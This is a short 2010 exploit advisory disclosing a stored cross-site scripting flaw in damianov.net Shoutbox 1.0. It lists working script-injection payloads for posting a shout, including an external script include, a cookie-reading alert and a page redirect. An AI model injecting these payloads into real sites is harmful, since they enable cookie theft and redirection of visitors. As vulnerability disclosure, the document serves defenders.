damianov.net Shoutbox – Cross-Site Scripting
# Exploit Title: damianov.net Shoutbox XSS Vulnerability # Date: 13.05.2010 # Author: Valentin # Category: webapps/0day # Version: 1.0 # Tested on: Debian, Apache2, PHP5 # CVE : # Code : [:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::] >> General Information Advisory/Exploit Title = damianov.net Shoutbox XSS Vulnerability Author = Valentin Hoebel Contact = valentin@xenuser.org [:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::] >> Product information Name = damianov.net Shoutbox Vendor = damianov.net Vendor Website = http://www.damianov.net/ Affected Version(s) = 1.0 [:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::] >> #1 Vulnerability Type = XSS Injecting arbitrary HTML and Java Script code is possible while adding a new shout, no matter if HTML is allowed in the shoutsettings.php or not. #1 Example: <SCRIPT src=some-script.js></SCRIPT> #2 Example: <SCRIPT>alert("XSS")</SCRIPT> #3 Example: <SCRIPT>alert(document.cookie)</SCRIPT> #4 Example: <script>document.location.href="http://www.google.de"</script> [:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::] >> Additional Information Advisory/Exploit Published = 13.05.2010 Solution = Edit code and add filters. [:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::] >> Misc Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase! <3 packetstormsecurity.org! [:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] |